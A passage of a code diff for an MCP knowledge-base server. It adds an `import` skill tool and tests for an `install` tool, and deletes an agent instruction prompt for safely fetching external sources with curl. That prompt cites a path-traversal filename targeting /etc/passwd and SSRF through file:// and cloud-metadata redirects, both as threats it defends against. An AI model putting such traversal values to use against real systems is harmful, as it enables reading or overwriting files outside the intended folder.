+ // per-location failures on an otherwise-200 bulk `add`. Dropping its
+ // warnings here would let "imported successfully" hide a location that
+ // was refused as a fork or rejected as an unplaceable root.
+ const warnings = [
+ ...(Array.isArray(result.warnings) ? (result.warnings as string[]) : []),
+ ...(Array.isArray(placed.warnings) ? (placed.warnings as string[]) : []),
+ ];
+ const warningCodes = Array.isArray(placed.warningCodes)
+ ? (placed.warningCodes as string[])
+ : [];
+ const line = alreadyImported
+ ? // The CONTENT was already present, but `add` still ran — saying "no
+ // changes" would misreport a call that just placed the skill somewhere new.
+ `Skill "${name}" was already imported (identical content); its placement was applied.`
+ : `Imported "${name}"${renamedFrom ? ` (renamed from "${renamedFrom}" — the name was taken)` : ''} into .agents/skills as content. Scripts shown, never run. Use \`install\` to change where it lives.`;
+ return textPlusStructured([line, ...warnings].join('\n'), {
+ name,
+ path: typeof result.path === 'string' ? result.path : undefined,
+ alreadyImported,
+ ...(renamedFrom ? { collisionRenamedFrom: renamedFrom } : {}),
+ warnings,
+ ...(warningCodes.length > 0 ? { warningCodes } : {}),
+ });
+ },
+ );
+}
diff --git a/packages/server/src/mcp/tools/index.ts b/packages/server/src/mcp/tools/index.ts
index e7ff53f36..fc9c07d28 100644
--- a/packages/server/src/mcp/tools/index.ts
+++ b/packages/server/src/mcp/tools/index.ts
@@ -2,9 +2,8 @@
* MCP tool registry.
*
* Reads: exec, search, history, links, skills, config, palette, preview_url, share_link, lint, audit
- * Writes: write, edit, delete, move, checkpoint, restore_version
+ * Writes: write, edit, delete, move, install, import, checkpoint, restore_version
* Conflicts: conflicts, resolve_conflict
- * Workflow: workflow (kind: ingest | research | consolidate | discover)
*
* `write` / `edit` / `delete` / `move` are native CRUD verbs, polymorphic
* over document / folder / template / asset via a nested target object
@@ -19,16 +18,13 @@
* defaults / template menus on every wiki file or directory referenced.
* - `search` — ranked workspace retrieval (Orama; mirrors cmd-K).
*
- * - `workflow` returns instructional text (kind: ingest | research |
- * consolidate | discover) and needs no server connection; its discover
- * body's Phase 5 (link-graph activation) checks for Hocuspocus itself.
* - Document tools make HTTP calls to Hocuspocus and require `serverUrl`.
* - `search` calls `POST /api/search` and requires Hocuspocus.
*
- * Project-level scaffolding has two paths: `ok seed` CLI for empty repos
- * (Karpathy three-layer + `log.md` + per-layer folder defaults) and the
- * `workflow({ kind: "discover" })` primer for existing-content repos (extracts conventions
- * from siblings; sets folder frontmatter + templates + `.okignore`).
+ * Procedural guidance (capture a source, research a topic, promote research to
+ * canonical, onboard an existing repo, generate a codebase wiki) is NOT an MCP
+ * tool — it ships as skill guidance (`assets/skills/`), loaded on description
+ * match rather than costing tool-list tokens every turn.
*
* To add a new tool: create `packages/server/src/mcp/tools/<name>.ts` with a
* `register(...)` export, then import and call it from here.
@@ -47,6 +43,7 @@ import { register as registerEdit } from './edit.ts';
import { register as registerExec } from './exec.ts';
import { register as registerPreviewUrl } from './get-preview-url.ts';
import { register as registerHistory } from './history.ts';
+import { register as registerImport } from './import.ts';
import { register as registerInstall } from './install.ts';
import { register as registerLinks } from './links.ts';
import { register as registerLint } from './lint.ts';
@@ -58,7 +55,6 @@ import { register as registerSearch } from './search.ts';
import { register as registerShareLink } from './share-link.ts';
import type { ConfigOrResolver, ServerInstance, ServerUrlOrResolver } from './shared.ts';
import { register as registerSkills } from './skills.ts';
-import { register as registerWorkflow } from './workflow.ts';
import { register as registerWrite } from './write.ts';
/**
@@ -126,11 +122,6 @@ export function registerAllTools(server: ServerInstance, opts: RegisterAllToolsO
config: opts.config,
});
- // Workflow primers — return instructional text (kind: ingest | research |
- // consolidate | discover), no server connection needed. discover's Phase 5
- // (link-graph activation) checks for Hocuspocus in its own body.
- registerWorkflow(registrationServer, { config: opts.config, resolveCwd: named('workflow') });
-
// Search — exec covers cat / ls / grep / find via fs-direct shell. `search`
// is the ranked-retrieval read (Orama; mirrors cmd-K).
registerSearch(registrationServer, {
@@ -196,13 +187,22 @@ export function registerAllTools(server: ServerInstance, opts: RegisterAllToolsO
identityRef: opts.identityRef,
});
// `install` — project an authored skill into the editor host dirs
- // (Draft → Installed). The one new verb beyond the `skill` CRUD target.
+ // The one new verb beyond the `skill` CRUD target.
registerInstall(registrationServer, {
serverUrl: opts.serverUrl,
config: opts.config,
resolveCwd: named('install'),
identityRef: opts.identityRef,
});
+ // `import` — acquire a skill from skills.sh / github / git URL / local path into
+ // `.ok/skills` as versioned content (the marketplace on-ramp). Pairs with
+ // `install` (the off-ramp to editor dirs).
+ registerImport(registrationServer, {
+ serverUrl: opts.serverUrl,
+ config: opts.config,
+ resolveCwd: named('import'),
+ identityRef: opts.identityRef,
+ });
registerHistory(registrationServer, {
serverUrl: opts.serverUrl,
config: opts.config,
diff --git a/packages/server/src/mcp/tools/ingest-body.ts b/packages/server/src/mcp/tools/ingest-body.ts
deleted file mode 100644
index 6e5f80ce5..000000000
--- a/packages/server/src/mcp/tools/ingest-body.ts
+++ /dev/null
@@ -1,255 +0,0 @@
-/**
- * `ingest` MCP workflow tool — capture an external source as raw reference material
- * inside the project's content directory.
- *
- * Principle: raw preservation only. No summary, no analysis, no interpretation.
- * That's `research`'s job.
- *
- * Bias: when the source is a binary file (PDF, image, audio, video, Office doc),
- * agents preserve the raw bytes — not a lossy text scrape — via the agent's shell
- * tool + the existing `![[file.ext]]` asset-embed surface.
- */
-
-import { OK_DIR } from '@inkeep/open-knowledge-core';
-
-export function buildIngestBody(source: string, contentDir: string): string {
- return `Capture this external source into the project knowledge base as raw reference material. The KB is **closed-loop**: external sources are pulled INTO the knowledge base here so downstream docs cite local paths, never bare web URLs. This applies whether a user shared the source OR you fetched it yourself to ground a knowledge-base claim — agent-initiated fetches are not exempt. **Raw preservation only** — no summary, no analysis, no interpretation. Summarizing is the job of the \`research\` tool later.
-
-**Bias toward binary preservation.** When the source is a binary file (PDF, image, audio, video, Office doc, archive, dataset), preserve the raw bytes — do NOT settle for a text scrape. OK already ships a complete asset-embed surface (\`![[file.ext]]\` wiki-embed, file-watcher pickup, sha256 dedup, blocked-extension enforcement); this tool's job is to bridge \`ingest\` to it via your shell tool.
-
-Source: ${source}
-
-The content directory for this project is **\`${contentDir}\`** (from \`${OK_DIR}/config.yml\`).
-
-## Step 0: Is this source worth preserving?
-
-Before fetching anything, sanity-check:
-
-- **Is it in scope?** If the source is unrelated to what this knowledge base is accumulating, ingest is pollution. Check the existing layout: \`exec("ls ${contentDir}")\` to see what topics are already covered.
-- **Is it already ingested?** \`exec("grep -rln <source-url-or-title-slug> ${contentDir}")\` — if the same source is already present with current content, stop and reuse. Re-ingest is appropriate when the source has changed materially (new version, significant edits) — see Step 5 for sha256-mismatch re-ingest semantics.
-- **Is the user's intent actually \`ingest\` (preserve) or \`research\` (analyze)?** If they want findings synthesized rather than raw bytes archived, redirect: "\`research\` on this topic will pull sources via \`ingest\` as needed. Use \`research\` instead." Don't pre-ingest speculatively when the user wants analysis.
-
-If all three checks pass, proceed.
-
-### Shell-capability self-detection (evaluate before any shell call)
-
-If your host does not expose a shell-like tool (no Bash / Terminal / shell-exec / equivalent), you cannot run \`curl\` for either the HEAD probe (Step 1a) or the binary download (Step 1b). Detect once at the start of the workflow via a trivial probe (\`echo ok\` via the host's shell affordance, or a known-safe \`which curl\` invocation). On absence of a shell tool, route the source straight to **Step 1c (text fetch / shell-less fallback)** — skipping Step 1a's HEAD-tiebreaker classification and Step 1b's binary download entirely — and surface the degradation explicitly to the user.
-
-## Step 1a: Detect source kind (binary vs text)
-
-Classify the source before fetching. **\`.svg\` is intentionally absent from the binary-extension list — SVG can contain scripts and is treated as a scripted-document extension; see Step 1b's executable hard-block.**
-
-- **URL with a binary file extension** (\`.pdf\`, \`.png\`, \`.jpg\`, \`.jpeg\`, \`.gif\`, \`.webp\`, \`.mp4\`, \`.webm\`, \`.mov\`, \`.m4v\`, \`.mp3\`, \`.wav\`, \`.ogg\`, \`.m4a\`, \`.flac\`, \`.docx\`, \`.xlsx\`, \`.pptx\`, \`.doc\`, \`.xls\`, \`.ppt\`, \`.zip\`, \`.7z\`, \`.tar\`, \`.gz\`, \`.rar\`, \`.csv\`, \`.tsv\`, \`.epub\`, etc.) → treat as **binary**. Skip to Step 1b.
-- **URL with a clear HTML/text extension** (\`.html\`, \`.htm\`, none, \`.txt\`, \`.md\`) → treat as **text**. Skip to Step 1c. The executable hard-block does NOT apply here because Step 1c never writes the source extension to disk — it writes a \`.md\` wrapper containing the extracted text.
-- **Local file path** → use your native file read tool. If the local file is text (HTML, plain, markdown), skip to **Step 2b** (text wrapper). If the local file is a binary you want preserved verbatim, you already have the bytes on disk — skip Step 1b's download and proceed directly to **Step 2a** (binary wrapper), pointing \`source_path:\` at the existing local path (relative to the wrapper).
-- **Ambiguous URL** (no extension, query-string download URL, redirect-y link) → run \`curl -IL --proto =http,=https --proto-redir =http,=https --max-redirs 5 -A 'Mozilla/5.0' <url>\` to read response headers, then classify by \`Content-Type\`:
- - \`application/pdf\`, \`image/*\` (except \`image/svg+xml\`), \`video/*\`, \`audio/*\`, \`application/zip\`, \`application/vnd.openxmlformats-*\`, \`application/epub+zip\` → **binary**
- - \`text/html\`, \`text/plain\`, \`application/json\` (when the source is a doc/article, not data) → **text**
- - \`application/octet-stream\` → ambiguous; treat as binary BUT note in chat that the server didn't declare a specific type, and the captured \`sha256\` + bytes record gives downstream tooling the signal if the bytes turn out to be HTML.
-
-### STOP gates evaluated during Step 1a (before any download)
-
-Before continuing past Step 1a, check the following gates against the response and URL:
-
-1. **Streaming-video / DRM-protected media (heuristic — D6).** If the URL hostname matches a known streaming pattern (examples — illustrative, not exhaustive: \`youtube.com\`, \`youtu.be\`, \`vimeo.com\`, \`twitch.tv\`, \`tiktok.com\`, \`spotify.com\`, \`soundcloud.com\`, \`open.spotify.com\`, \`podcasts.apple.com\`) **OR** the HEAD response shows \`Content-Type: text/html\` on a URL that looked like media **OR** the HEAD shows anti-bot characteristics (\`Server: cloudflare\` + \`cf-mitigated\` / \`cf-chl-bypass\` headers, Akamai/Imperva challenge response, 403 with HTML body) → **STOP**. Tell the user: "Streaming services and DRM-protected media require \`yt-dlp\` or vendor-specific tooling — out of scope for \`ingest\`. Ask the user to paste the transcript or run \`yt-dlp\` manually and re-share the resulting file as a local path."
-
-2. **URL scheme — HARD BLOCK (M1 review fix).** If the URL scheme is not \`http://\` or \`https://\` (i.e., \`file://\`, \`gopher://\`, \`ftp://\`, etc.) → **HARD STOP**. Tell the user: "\`ingest\` only fetches \`http(s)\` URLs. Other schemes (local-file paths, intranet protocols) bypass the size + redirect safeguards and risk pulling cloud-metadata or local-service responses into the KB. If you have a local file, pass its path directly to \`ingest\` as a local-file source instead of a URL."
-
-3. **Auth-walled / paywalled / 4xx (NG5).** If HEAD returns 401/402/403/407/429 → STOP. Ask the user to paste the content or share a local copy.
-
-## Step 1b: Binary fetch
-
-You've classified the source as binary in Step 1a and Step 1a's STOP gates passed. Step 1b adds **write-path-specific** STOP gates that only apply when we're about to land bytes on disk under the source extension:
-
-### Step 1b STOP gates (write-path only)
-
-1. **Executable / scripted-document extension — HARD BLOCK (D7).** If the URL extension is in \`EXECUTABLE_BLOCKLIST_EXTENSIONS\` (source of truth: \`packages/core/src/constants/upload.ts\`) — covers Windows executables, POSIX shells, scripted documents (including \`.svg\` and \`.xml\`), macOS installer classes, URL-files, cross-platform packages, and Windows shortcut classes — **HARD STOP**. Refuse to download via \`ingest\`. Tell the user: "Executable / scripted-document extensions are not auto-fetched by \`ingest\` — the runtime backstop (Electron \`openAssetSafely\`) is desktop-only, so plan-level enforcement is the only line of defense in CLI / web / Cowork contexts. If you genuinely want to archive this file, \`curl\` it manually outside the agent and reference the local path." This gate fires HERE (write path) and NOT against Step 1c — Step 1c writes a \`.md\` wrapper with extracted text, not the source extension on disk.
-
-2. **Size pre-check (D5).** Run \`curl -IL --max-redirs 5 -A 'Mozilla/5.0' '${source}'\` (if not already done in Step 1a's ambiguous-URL branch) and read \`Content-Length\`:
- - \`Content-Length\` > 100 MB → **HARD STOP**. Tell the user the source exceeds GitHub's 100 MB file-size cap and offer the manual-\`curl\` + Git-LFS escape path.
- - \`Content-Length\` > 50 MB → STOP and ask explicitly: "Source is X MB (above the 50 MB GitHub warn threshold). Proceed?"
- - \`Content-Length\` absent → proceed; the \`curl --max-filesize\` flag is the enforced backstop. Note in chat that the size could not be pre-verified.
- - \`Content-Length\` <= 50 MB → proceed.
-
-### Slug derivation (M1 review fix — strict shape)
-
-Pick a kebab-case slug from the source's filename or title (e.g., \`karpathy-2024-llm-os\`). The slug becomes both the binary basename and the wrapper basename. Don't put dates in the slug — dates go in frontmatter (and in dated-sibling slugs on re-ingest per Step 5).
-
-**The slug MUST match \`^[a-z0-9][a-z0-9-]{0,99}$\` — kebab-case, ASCII letters / digits / single hyphens only. NO dots, slashes, leading hyphens, or path segments. If you derive the slug from a server-controlled value (\`Content-Disposition: filename=\`, URL path basename), strip non-conforming characters before using it.** A server returning \`Content-Disposition: attachment; filename="../../etc/passwd"\` is adversarial; the slug constraint prevents path traversal from a malicious source landing bytes outside \`external-sources/\`. If the stripped result is empty, ask the user for a slug.
-
-### Download
-
-Use your shell tool. Use \`external-sources/\` as the destination folder under the content directory. Create the directory first if it doesn't exist (unseeded projects):
-
-\`\`\`bash
-mkdir -p "${contentDir}/external-sources"
-curl -L --fail \\
- --proto =http,=https --proto-redir =http,=https \\
- --max-redirs 5 \\
- --max-time 60 \\
- --max-filesize 104857600 \\
- -o "${contentDir}/external-sources/<slug>.<ext>" \\
- -A 'Mozilla/5.0' \\
- '<SOURCE_URL>'
-\`\`\`
-
-**Replace \`<SOURCE_URL>\` with the source URL above (\`${source}\`), shell-escaping any special characters (single quotes, backticks, dollar signs). Do NOT paste a URL containing a literal single quote directly into the single-quoted curl argument — break it into a shell-safe form first.**
-
-Flag rationale:
-- \`-L\` follows redirects (CDN-fronted sources need this).
-- \`--proto =http,=https --proto-redir =http,=https\` (M1 review fix) — refuses any scheme other than http(s), and refuses redirects that would downgrade to other schemes. Prevents redirect-chain SSRF into \`file://\`, \`gopher://\`, or cloud-metadata endpoints reached via \`--max-redirs\`.
-- \`--fail\` exits non-zero on HTTP 4xx/5xx instead of writing an error body to disk.
-- \`--max-redirs 5\` caps redirect chains (exit 47 on excess).
-- \`--max-time 60\` caps total request time (exit 28).
-- \`--max-filesize 104857600\` enforces the 100 MB hard cap as defense-in-depth in case the server omits or lies about \`Content-Length\` (exit 63). The option has shipped since curl 7.10.8 (2003) — every modern install has it.
-
-If curl exits non-zero:
-- 47 (too many redirects) → STOP. Likely a tracking-link or auth-flow URL. Ask the user to paste.
-- 28 (timeout) → STOP. Slow source. Ask the user to retry or share locally.
-- 63 (\`--max-filesize\` triggered) → \`rm -f\` the truncated output. STOP and tell the user the server's \`Content-Length\` was missing or wrong.
-- 22 (HTTP error returned by \`--fail\`) → STOP. Auth wall, anti-scraping, or vanished URL. Ask the user to paste.
-- Other (e.g., 1 = unsupported protocol from \`--proto\`) → STOP and report the curl exit code to the user.
-
-After successful download, record the byte size and sha256:
-
-\`\`\`bash
-ls -l "${contentDir}/external-sources/<slug>.<ext>" # bytes
-sha256sum "${contentDir}/external-sources/<slug>.<ext>" # or 'shasum -a 256' on macOS
-\`\`\`
-
-OK's file-watcher will pick up the new file and emit \`asset-create\`. The sidebar refreshes; the file is now indexed.
-
-## Step 1c: Text fetch (HTML / article sources, or shell-less host fallback)
-
-Either the source is genuinely text (HTML article, plain text doc) OR your host is shell-less and binary preservation is unavailable.
-
-Use your available web fetch tool (e.g., \`WebFetch\` if you're a Claude Code-class host; or your host's equivalent). If the fetcher returns an obvious *summary* of the page instead of the raw content (some LLM-backed fetch tools do this), note it and try a raw alternative (\`curl -sL <url>\` for text-heavy sources if your host has shell, or ask the user to paste). The goal is verbatim bytes.
-
-If the fetch fails (login wall, 401/402/403/429, anti-scraping block), **stop and ask the user to paste the content directly**. Do not save a stub, an error page, or a login wall as "raw content" — that poisons the knowledge base.
-
-## Step 2a: Save the binary wrapper (only after Step 1b succeeded)
-
-Write a markdown wrapper file at \`${contentDir}/external-sources/<slug>.md\` containing this frontmatter and body. **Declare the full tag list explicitly — do NOT assume an \`external-sources/**\` folder rule cascade exists** (the legacy \`.ok/config.yml folders[]\` mechanism is no longer honored by the runtime config loader; folder defaults today live in opt-in nested \`<folder>/.ok/frontmatter.yml\` files and \`external-sources/.ok/frontmatter.yml\` may not exist in this project).
-
-\`\`\`yaml
----
-title: Original title of the source (from <title>, Content-Disposition filename, or your best read)
-description: One-line summary from the source (their words, not yours)
-source_url: https://example.com/path/to/file.pdf
-source_path: ./<slug>.<ext>
-media_type: application/pdf # RFC 6838 type/subtype, from HEAD Content-Type
-bytes: 1234567 # integer, from ls -l or stat
-sha256: <hex sha256 digest> # full 64-char hex
-date_fetched: YYYY-MM-DD
-author: Original author if known
-preservation: binary
-tags:
- - source
- - immutable
- - layer-ingest
- - binary
----
-
-![[<slug>.<ext>]]
-\`\`\`
-
-The body is just the wiki-embed reference. For images, video, and audio, the embed renders inline. **For PDFs and other opaque file-attachment types (docx, xlsx, zip, etc.), the \`![[file.ext]]\` form renders as a Notion-style File row that click-dispatches to the appropriate viewer** — the pdfjs canvas viewer is opt-in via the explicit \`<Pdf src="./<slug>.pdf" />\` JSX form, NOT the wiki-embed default. If the user wants the inline canvas viewer for this specific PDF, they can post-edit the wrapper body to replace \`![[<slug>.pdf]]\` with \`<Pdf src="./<slug>.pdf" />\`.
-
-Write via \`write\` (NOT native \`Write\` — the CRDT path is mandatory for in-scope markdown).
-
-## Step 2b: Save the text wrapper (only after Step 1c — text path or shell-less fallback)
-
-Write a markdown wrapper at \`${contentDir}/external-sources/<slug>.md\` with the text content preserved verbatim in the body. Strip obvious boilerplate (nav menus, cookie banners, ads, footer links, "related articles" widgets) but **do not summarize, paraphrase, or interpret** — that's \`research\`'s job.
-
-Frontmatter shape:
-
-\`\`\`yaml
----
-title: Original title of the source
-description: One-line summary from the source (their words, not yours)
-source_url: https://example.com/article
-media_type: text/html
-date_fetched: YYYY-MM-DD
-author: Original author if known
-preservation: text-extracted # OR: text-only (use 'text-only' when this is a shell-less fallback for a binary source)
-# NOTE: no \`source_path\` — text wrappers ARE the content. \`source_path\` is meaningful only for binary wrappers (Step 2a), where it points at the co-located binary sibling.
-tags:
- - source
- - immutable
- - layer-ingest
- - text
----
-\`\`\`
-
-**If this is a shell-less fallback for a source that should have been binary** (you tried Step 1a and detected binary but your host couldn't \`curl\`), set \`preservation: text-only\` AND prepend a top-of-body admonition so a future agent (or you, on a different host) can detect and upgrade:
-
-\`\`\`markdown
-> ⚠ Binary not preserved — this is an extracted-text snapshot of a binary source.
-> Re-run \`ingest\` from a shell-capable client (Claude Code / Desktop / Cursor / Codex) to capture the original file.
-
-(...verbatim extracted text follows...)
-\`\`\`
-
-Downstream tooling can grep \`preservation: text-only\` in frontmatter to find docs that need upgrading.
-
-## Step 3: Preserve the content faithfully
-
-For binary wrappers: the wrapper body is the wiki-embed reference; no further body content is needed. All metadata lives in frontmatter.
-
-For text wrappers:
-- **Keep** headings, lists, quotes, code blocks, images, citations, references.
-- **Strip** obvious boilerplate: nav menus, cookie banners, ads, footer links, "related articles" widgets.
-- **Do NOT** summarize, critique, paraphrase, or interpret. That's \`research\`'s job.
-- **For very long sources**, consider splitting by major section with cross-references in frontmatter.
-
-## Step 4: Verify
-
-- File(s) exist at the chosen location under \`${contentDir}/external-sources/\` (binary + wrapper, or wrapper alone for text).
-- Valid frontmatter (at minimum \`title\`, \`description\`, \`source_url\`, \`preservation\`, and the full \`tags\` list — plus \`source_path\` for binary wrappers).
-- For binary preservation: \`sha256\` and \`bytes\` recorded; \`media_type\` matches what the HEAD response returned.
-- \`exec("ls -A ${contentDir}/external-sources/")\` should list the new file(s) with enrichment.
-
-## Step 5: Re-ingest semantics (sha256 mismatch on a previously-ingested source)
-
-If \`${contentDir}/external-sources/<slug>.<ext>\` already exists when you reach Step 1b:
-
-1. Compute its sha256.
-2. If the new sha matches the existing sha → **STOP** (no-op). Tell the user: "Already at \`external-sources/<slug>.<ext>\` — sha256 matches, no change."
-3. If the new sha differs → save the new bytes as \`external-sources/<slug>.YYYY-MM-DD.<ext>\` (today's date in the slug) AND write a **new** wrapper \`external-sources/<slug>.YYYY-MM-DD.md\` with \`supersedes:\` as a YAML list pointing at the predecessor (matches \`consolidate\`'s shape so downstream tooling that reads \`supersedes:\` doesn't trip on a type mismatch):
- \`\`\`yaml
- supersedes:
- - <slug>.md
- \`\`\`
- **Do not mutate the old wrapper or the old binary** — the \`external-sources/**\` layer is append-only by convention.
-
-The latest-dated wrapper is the "current view"; older wrappers remain valid as historical snapshots.
-
-## Step 6: Discuss takeaways with the user (no file write)
-
-After preservation, briefly surface back to the user what the source actually contains — in **chat**, not in the raw file. This is Karpathy's "discussing takeaways" step: the raw file stays verbatim, but the human collaborator gets a quick orientation.
-
-- 3–5 bullet points capturing the source's main claims, with no editorializing.
-- Note any **tensions** with existing knowledge-base docs you already surfaced in Step 0 — agents that ingest in isolation miss the "wait, this contradicts \`[prior article](./path/to/prior.md)\`" signal.
-- Offer next steps: "Shall I \`research\` this topic now, or is preservation enough?" Don't silently chain into \`research\` — the user may have just wanted the archive.
-- For binary preservation: include the one-line breadcrumb (\`saved external-sources/<slug>.<ext> — <bytes> bytes, sha256 <abbrev>\`).
-- For shell-less text fallback of a binary source: explicitly tell the user the binary was not preserved and recommend re-running from a shell-capable client.
-
-## Step 7 (optional): Update neighbor docs to link the new source
-
-If the source is directly relevant to an existing article or research doc, update that doc to link the new raw source. A preserved source that no doc points at is an island. Limit this to 1–3 high-signal neighbors — don't touch everything tangentially related.
-
-- Follow the \`write\` / \`edit\` contract from the skill (preview-before-edit).
-- For binary wrappers, prefer linking to the wrapper (the markdown doc), not the binary directly: \`[Source title](./external-sources/<slug>.md)\`. The wrapper is the closed-loop citation target; the binary is the embedded asset within it.
-- Do NOT mass-update every neighbor. Karpathy's pattern rewards focused cross-linking; noisy neighbor-pings degrade the signal.
-
-## Non-goals
-
-- **No analysis** — don't interpret, compare, or critique the source.
-- **No promotion to a canonical article** — that's the \`consolidate\` tool's job, later.
-- **No silent chaining into research** — ingest completes on its own; the user explicitly opts into \`research\`.
-- **No synthesis inside the raw file** — the takeaways live in chat or a separate summary doc, never mixed into the preserved source.
-- **No OCR / transcription** — binary preservation only. \`research\` may apply analysis layers downstream.
-- **No streaming-video direct download** — \`yt-dlp\` is a separate workflow; \`ingest\` STOPs and routes to it (Step 1a STOP gate 1).
-- **No executable / scripted-document auto-fetch** — hard-blocked at Step 1b STOP gate 1 (write-path only). User runs \`curl\` manually outside the agent if they need to archive such a file.
-`;
-}
diff --git a/packages/server/src/mcp/tools/install.test.ts b/packages/server/src/mcp/tools/install.test.ts
new file mode 100644
index 000000000..860b6b15b
--- /dev/null
+++ b/packages/server/src/mcp/tools/install.test.ts
@@ -0,0 +1,231 @@
+/**
+ * Contract tests for the `install` MCP wrapper — the most destructive tool on
+ * the skills surface, and the one that had no test file at all.
+ *
+ * These assert the exact request bodies the tool sends, because that is where
+ * its two historic defects lived: `mode` forwarded alongside `add` (which the
+ * endpoint applies to the WHOLE resulting location set, converting siblings the
+ * caller never named), and a bare call reaching the endpoint's set-exact branch.
+ */
+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+import { type Config, ConfigSchema } from '../../config/schema.ts';
+import { register as registerInstall } from './install.ts';
+import type { ServerInstance } from './shared.ts';
+
+const BASE_CONFIG: Config = ConfigSchema.parse({});
+
+interface ToolResult {
+ content: Array<{ type: 'text'; text: string }>;
+ structuredContent?: Record<string, unknown>;
+ isError?: true;
+}
+type Handler = (args: Record<string, unknown>) => Promise<ToolResult>;
+
+function captureInstall(serverUrl: string): Handler {
+ let handler: Handler | undefined;
+ const server = {
+ registerTool(_name: string, _cfg: unknown, h: Handler) {
+ handler = h;
+ },
+ } as unknown as ServerInstance;
+ registerInstall(server, {
+ serverUrl,
+ config: BASE_CONFIG,
+ resolveCwd: async () => process.cwd(),
+ });
+ if (!handler) throw new Error('tool did not register');
+ return handler;
+}
+
+const text = (r: ToolResult) => r.content.map((c) => c.text).join('\n');
+
+let originalFetch: typeof fetch;
+let calls: Array<{ url: string; body: Record<string, unknown> }>;
+
+function stubOk(payload: Record<string, unknown> = {}) {
+ globalThis.fetch = vi.fn(async (url: string | URL | Request, init?: RequestInit) => {
+ calls.push({ url: String(url), body: JSON.parse(String(init?.body)) });
+ return new Response(JSON.stringify({ ok: true, hosts: ['claude'], ...payload }), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ });
+ }) as unknown as typeof fetch;
+}
+
+beforeEach(() => {
+ originalFetch = globalThis.fetch;
+ calls = [];
+});
+afterEach(() => {
+ globalThis.fetch = originalFetch;
+});
+
+describe('install MCP tool', () => {
+ test('`mode` shapes ONLY the added locations, via per-location convert', async () => {
+ // Forwarding `mode` with `add` would convert every existing location too:
+ // the endpoint's `mode` applies to the whole resulting set, so a skill
+ // symlinked into claude and codex would have both turned into copies by a
+ // call that only asked for cursor.
+ stubOk();
+ const r = await captureInstall('http://localhost:4321')({
+ name: 'trip-log',
+ add: ['cursor'],
+ mode: 'copy',
+ });
+
+ expect(r.isError).toBeUndefined();
+ expect(calls.map((c) => c.body)).toEqual([
+ { name: 'trip-log', add: ['cursor'] },
+ { name: 'trip-log', convert: { target: 'cursor', mode: 'copy' } },
+ ]);
+ // The membership request must NOT carry `mode`.
+ expect(calls[0]?.body).not.toHaveProperty('mode');
+ });
+
+ test('every added location is shaped, not just the first', async () => {
+ stubOk();
+ await captureInstall('http://localhost:4321')({
+ name: 'trip-log',
+ add: ['cursor', 'codex'],
+ mode: 'link',
+ });
+ expect(calls.map((c) => c.body.convert)).toEqual([
+ undefined,
+ { target: 'cursor', mode: 'link' },
+ { target: 'codex', mode: 'link' },
+ ]);
+ });
+
+ test('without `mode`, membership is the only request', async () => {
+ stubOk();
+ await captureInstall('http://localhost:4321')({ name: 'trip-log', add: ['cursor'] });
+ expect(calls).toHaveLength(1);
+ expect(calls[0]?.body).toEqual({ name: 'trip-log', add: ['cursor'] });
+ });
+
+ test('`convert` without `mode` is refused before any request', async () => {
+ stubOk();
+ const r = await captureInstall('http://localhost:4321')({
+ name: 'trip-log',
+ convert: ['claude'],
+ });
+ expect(r.isError).toBe(true);
+ expect(text(r)).toContain('`convert` needs `mode`');
+ expect(calls).toHaveLength(0);
+ });
+
+ test('a failed shaping reports what already landed', async () => {
+ // The `add` is durable on disk by then, so reporting a bare error would tell
+ // the caller nothing happened when the membership change did.
+ globalThis.fetch = vi.fn(async (_url: string | URL | Request, init?: RequestInit) => {
+ const body = JSON.parse(String(init?.body)) as Record<string, unknown>;
+ calls.push({ url: String(_url), body });
+ return body.convert
+ ? new Response(
+ JSON.stringify({
+ type: 'urn:ok:error:doc-already-exists',
+ title: 'That copy was hand-edited.',
+ detail: 'Remove .cursor/skills/trip-log manually if you mean it.',
+ }),
+ {
+ status: 409,
+ headers: { 'content-type': 'application/json' },
+ },
+ )
+ : new Response(JSON.stringify({ ok: true, hosts: ['claude', 'cursor'] }), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ });
+ }) as unknown as typeof fetch;
+
+ const r = await captureInstall('http://localhost:4321')({
+ name: 'trip-log',
+ add: ['cursor'],
+ mode: 'copy',
+ });
+ expect(r.isError).toBe(true);
+ expect(text(r)).toContain('Added cursor');
+ expect(text(r)).toContain('hand-edited');
+ // The server puts the remedy in `detail`; printing only `title` would hand
+ // the agent the diagnosis without the fix.
+ expect(text(r)).toContain('Remove .cursor/skills/trip-log manually');
+ });
+});
+
+describe('skillFolders — folder topology, moved off the read-only `config` tool', () => {
+ test('routes an add-root verb to the folder endpoint, without a skill name', async () => {
+ stubOk({ folder: { moved: [], dropped: [], linked: ['.team/skills'] } });
+ const install = captureInstall('http://localhost:1234');
+
+ const res = await install({ skillFolders: { action: 'add-root', root: '.team/skills' } });
+
+ expect(res.isError).toBeUndefined();
+ expect(calls).toHaveLength(1);
+ expect(calls[0]?.url).toContain('/api/skill-targets');
+ expect(calls[0]?.body).toEqual({
+ folderAction: { action: 'add-root', root: '.team/skills' },
+ });
+ expect(res.structuredContent?.folder).toEqual({
+ moved: [],
+ dropped: [],
+ linked: ['.team/skills'],
+ });
+ });
+
+ // `link` is the only action with a required `target`; nothing exercised that
+ // parameter path, so a bug forwarding it would have gone unnoticed.
+ test('forwards root AND target for a link verb', async () => {
+ stubOk({ folder: { moved: ['a', 'b'], dropped: ['c'], linked: ['.cursor/skills'] } });
+ const install = captureInstall('http://localhost:1234');
+
+ const res = await install({
+ skillFolders: { action: 'link', root: '.cursor/skills', target: '.agents/skills' },
+ });
+
+ expect(res.isError).toBeUndefined();
+ expect(calls[0]?.body).toEqual({
+ folderAction: { action: 'link', root: '.cursor/skills', target: '.agents/skills' },
+ });
+ expect(text(res)).toContain('moved 2 skill(s)');
+ expect(text(res)).toContain('dropped 1 duplicate(s)');
+ });
+
+ test('reports an unlink verb as reversible, not as a removal', async () => {
+ stubOk({ folder: { moved: [], dropped: [], linked: [] } });
+ const install = captureInstall('http://localhost:1234');
+
+ const res = await install({ skillFolders: { action: 'unlink', root: '.cursor/skills' } });
+
+ expect(res.isError).toBeUndefined();
+ expect(calls[0]?.body).toEqual({
+ folderAction: { action: 'unlink', root: '.cursor/skills' },
+ });
+ expect(text(res)).toContain('Unlinked');
+ expect(text(res)).toContain('nothing stopped working');
+ });
+
+ test('refuses to combine with `name` — it acts on folders, not one skill', async () => {
+ stubOk();
+ const install = captureInstall('http://localhost:1234');
+
+ const res = await install({
+ name: 'grill-me',
